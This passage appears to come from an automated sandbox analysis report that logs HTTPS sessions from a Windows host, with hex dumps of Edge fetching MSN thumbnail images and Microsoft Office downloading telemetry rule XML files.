4b 81 22 2c 2f 70 3b a6 Data Ascii: "@@ NFwm5z8?x1Lb}E&b;H7WL6`}2I:!Use N$OX+=R$$+aR"BH$E*hTD,$)T,WB"VM0KL}Lqd]HP,p`5!RpJ$%S&pCK",/p;
2024-11-27 16:58:57 UTC	1570	IN	Data Raw: 96 11 2e d6 30 3d 6a b3 40 69 c1 c2 20 48 a4 f4 9a e8 88 c0 5e 40 11 26 d8 49 be a6 c1 13 26 18 dc 18 13 1c f1 95 47 38 9d 07 14 51 70 06 63 63 6d 24 d5 3c a1 b7 82 a9 a0 93 f1 05 c6 44 46 b3 c2 49 d0 22 0e 1d 9b 71 c5 f0 e8 69 a0 ca 0f 4c 22 09 bc 57 04 48 8f b8 45 0c 63 a8 3f a5 ca 73 67 82 1d 37 cd 3a de 67 d7 aa 30 c1 a6 b6 37 0b 51 1d 06 6c 73 4e 26 b8 f5 3d c8 d9 f0 c0 9d 6a a6 60 19 8b 88 9b cc 70 9e fb 20 67 b6 59 b0 92 30 2b 43 b8 16 8a 56 f5 a2 63 72 2c 46 3e 58 2e 40 fc b8 83 c7 02 8d 23 9d 8f 45 74 74 92 f7 bb 59 33 61 79 e2 6f e8 b5 dc e0 5c 49 20 dc bb a0 d4 f6 60 a1 ae 10 64 90 e2 2d d7 99 36 41 cc 41 20 fb eb 2a 2c 13 3d fb 54 b9 f9 9c 20 7c a8 20 1f da d9 81 6d b8 c4 c2 f3 77 de 6f 51 33 69 c3 8f 05 8a ae 9d dd d6 e5 80 66 46 38 6b 0b 83 Data Ascii: .0=j@i H^@&I&G8Qpccm$<DFI"qiL"WHEc?sg7:g07QlsN&=j`p gY0+CVcr,F>X.@#EttY3ayo\I `d-6AA *,=T \| mwoQ3ifF8k
2024-11-27 16:58:57 UTC	16384	IN	Data Raw: c7 77 6f 55 8c 90 d1 33 13 68 16 93 da 52 ca e0 63 1d 05 ff 00 68 24 e9 55 53 f1 8a 45 3d 65 26 ca a3 14 8e 78 f9 a0 9b 68 ad b8 9c b9 80 e3 03 01 31 0a 80 66 ae 9e 02 3b e5 47 da 4d bb 50 51 74 e0 04 63 72 6c a2 3b 51 44 bc 06 cb 1b 94 68 04 e3 73 8f 34 d9 04 c1 6e 63 06 34 16 ad 47 69 01 04 35 a0 4f ca 08 ed e0 7d 50 c8 15 4e e1 61 1c 50 60 e0 26 d8 40 bc 41 d7 55 3c 02 61 b5 b7 a4 22 00 08 35 b0 b5 23 9f a2 22 6d 06 e3 bf dd fb 14 ab 10 14 dc c0 af 44 13 42 94 4f d1 15 a2 08 9b f1 36 e6 52 8f ec 2a 62 0f 08 4c 0d 55 1c 16 c1 50 a0 05 87 6a 24 34 34 c3 af 48 8b 9e b3 87 99 53 16 17 12 7b 11 13 d9 ea 9c 0b 45 ce 38 76 cd fb 15 42 79 62 f3 d8 80 71 48 33 6d 13 70 13 6b f5 22 3b 2e ad 8c 2f 36 20 44 99 24 0a 5f 18 1c 14 d8 fb ed 28 a9 00 1e 38 7b 89 44 a0 Data Ascii: woU3hRch$USE=e&xh1f;GMPQtcrl;QDhs4nc4Gi5O}PNaP`&@AU<a"5#"mDBO6R*bLUPj$44HS{E8vBybqH3mpk";./6 D$_(8{D
2024-11-27 16:58:57 UTC	16384	IN	Data Raw: b0 0d 20 81 1a e2 ba 0b 43 60 38 10 40 96 cd a3 1b 7d 57 16 e6 e1 87 50 93 72 48 04 db 10 62 dd 54 47 13 9d 79 88 bc e9 e5 87 08 5d 4c 1f 9c 38 06 80 e3 25 a0 03 26 3f 88 19 bb 4c 94 02 f9 20 80 06 51 87 99 99 aa 82 1c 74 36 c6 a1 07 3b c3 98 e8 87 32 45 0d 8c 77 53 cd 53 46 73 77 65 b1 b9 04 cf 4f 8e 27 ad 95 65 05 df 22 79 56 38 2b 0c 0f 3f 0b 74 27 e5 6c 6c 23 82 c8 98 20 09 8b 8a 7b 33 29 3a 30 19 6d c8 f5 b9 2b a0 b9 ac 19 61 ae 06 09 b8 0e 23 a3 b0 ee 40 f8 4d 0b 41 3c 63 85 ae 82 03 48 34 95 e8 6d 3d b1 95 c3 2c 83 7b 99 27 a4 7b d5 01 b7 3d 0a 20 db 2e 27 1d 24 80 3b 61 51 6f f8 1a 92 47 41 1d 84 a1 b7 7b 74 ba 5a e7 34 de e1 c4 48 3c 20 ae a6 6c ed 86 99 71 98 11 ea 20 03 5c 24 85 b2 6d de 46 58 a0 ac f3 b7 92 62 80 04 0b 9f 7c d4 ba 4b aa b3 a4 Data Ascii: C`8@}WPrHbTGy]L8%&?L Qt6;2EwSSFsweO'e"yV8+?t'll# {3):0m+a#@MA<cH4m=,{'{= .'$;aQoGA{tZ4H< lq \$mFXb\|K
2024-11-27 16:58:57 UTC	7952	IN	Data Raw: b7 d3 87 b1 c2 ce 6f 22 0a 38 5f 17 9a bd 0a 20 73 ff 00 c8 81 c4 a7 f9 7f 47 f8 ff 00 6f b0 b7 d7 04 17 f8 8d 9d af b9 e3 80 b9 ee 0b e4 9c 5d 11 25 44 98 aa 7f 97 f4 d4 fe af db da df ff 00 b1 71 31 b4 32 88 fb 8f dd ca 0d 97 94 e7 39 c4 92 49 26 a4 dc 94 3a 2d 55 ca f5 6f 97 59 cc 9e 14 bb fc 2f 8a 77 87 91 19 9a 70 98 ee 5e 6e 66 ca 36 70 12 5c 67 a8 fa 06 7f d8 ed 19 ce d7 30 f7 af 4d ae 0e 6c 83 20 d0 af 8a 3b 80 d4 4a e8 db f1 4f da fb 49 6f 4c 3b 8a e9 3f b3 f2 e7 7f af f0 fb 19 13 63 6e d5 42 e0 9a 79 af 9f d8 ff 00 b1 bc 6e c0 9a 3a 23 be 17 b4 d7 07 09 04 10 68 45 17 69 d4 eb c3 95 e6 c1 c5 aa ac 21 c1 18 61 37 18 2b 13 55 a6 54 44 01 04 5e e4 69 c7 04 a0 4e a3 a2 4a a6 d5 e4 82 9d 26 f6 ec 58 50 f9 1f 34 a0 91 85 a3 10 3b 87 e9 66 83 28 08 04 Data Ascii: o"8_ sGo]%Dq129I&:-UoY/wp^nf6p\g0Ml ;JOIoL;?cnByn:#hEi!a7+UTD^iNJ&XP4;f(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.7	49891	104.117.182.18	443	4024	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:56 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 16:58:57 UTC	515	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Tue, 19 Nov 2024 01:11:09 GMT X-Datacenter: westus X-ActivityId: d1332dc8-9c45-4f85-a99f-4fe76a720ba2 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL X-Source-Length: 1658 Content-Length: 1658 Cache-Control: public, max-age=72680 Expires: Thu, 28 Nov 2024 13:10:17 GMT Date: Wed, 27 Nov 2024 16:58:57 GMT Connection: close
2024-11-27 16:58:57 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.7	49890	104.117.182.18	443	4024	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:57 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 16:58:57 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 11 Nov 2024 13:51:58 GMT X-Datacenter: northeu X-ActivityId: 03b090a8-ff0d-477a-9433-19affde5f1c7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=205032 Expires: Sat, 30 Nov 2024 01:56:09 GMT Date: Wed, 27 Nov 2024 16:58:57 GMT Connection: close
2024-11-27 16:58:57 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.7	49894	104.117.182.18	443	4024	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:57 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 16:58:57 UTC	515	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G Last-Modified: Sat, 23 Nov 2024 18:14:45 GMT X-Source-Length: 5699 X-Datacenter: eastus X-ActivityId: 5c4ddcbc-0d99-4ea0-a3c4-13e18d04c61f Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=90801 Expires: Thu, 28 Nov 2024 18:12:18 GMT Date: Wed, 27 Nov 2024 16:58:57 GMT Connection: close
2024-11-27 16:58:57 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.7	49893	104.117.182.18	443	4024	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:57 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 16:58:57 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 17 Nov 2024 01:27:48 GMT X-Datacenter: eastus X-ActivityId: 4e8f5161-6e89-49b3-b675-e3ba25e83bf7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=289775 Expires: Sun, 01 Dec 2024 01:28:32 GMT Date: Wed, 27 Nov 2024 16:58:57 GMT Connection: close
2024-11-27 16:58:57 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.7	49895	104.117.182.18	443	4024	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:57 UTC	634	OUT	GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 16:58:57 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1u24yb Last-Modified: Fri, 15 Nov 2024 21:15:54 GMT X-Source-Length: 3765 X-Datacenter: westus X-ActivityId: f3e4c9dc-fa16-4ee6-89a5-1e9169e1c90d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 3765 Cache-Control: public, max-age=188335 Expires: Fri, 29 Nov 2024 21:17:52 GMT Date: Wed, 27 Nov 2024 16:58:57 GMT Connection: close
2024-11-27 16:58:57 UTC	3765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c1 00 00 0e c1 01 b8 91 6b ed 00 00 01 87 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 27 ef bb bf 27 20 69 64 3d 27 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 27 3f 3e 0d 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 3e 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 Data Ascii: PNGIHDR22?gAMAapHYskiTXtXML:com.adobe.xmp<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?><x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.7	49886	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:57 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:58 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:57 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 0f0f185b-001e-0065-4a37-400b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165857Z-174f7845968j6t2phC1EWRcfe80000000xe0000000005cfu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:58 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.7	49887	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:57 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:58 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:57 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 4f79ec39-601e-0070-0891-3fa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165857Z-174f7845968pf68xhC1EWRr4h80000000xf000000000bfy2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:58 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.7	49896	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:57 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 16:58:58 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 16:58:57 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 55a12243-301e-0052-2a3a-4065d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T165857Z-174f784596886s2bhC1EWR743w0000000x6g00000000k4un x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 16:58:58 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.7	49889	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 16:58:57 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
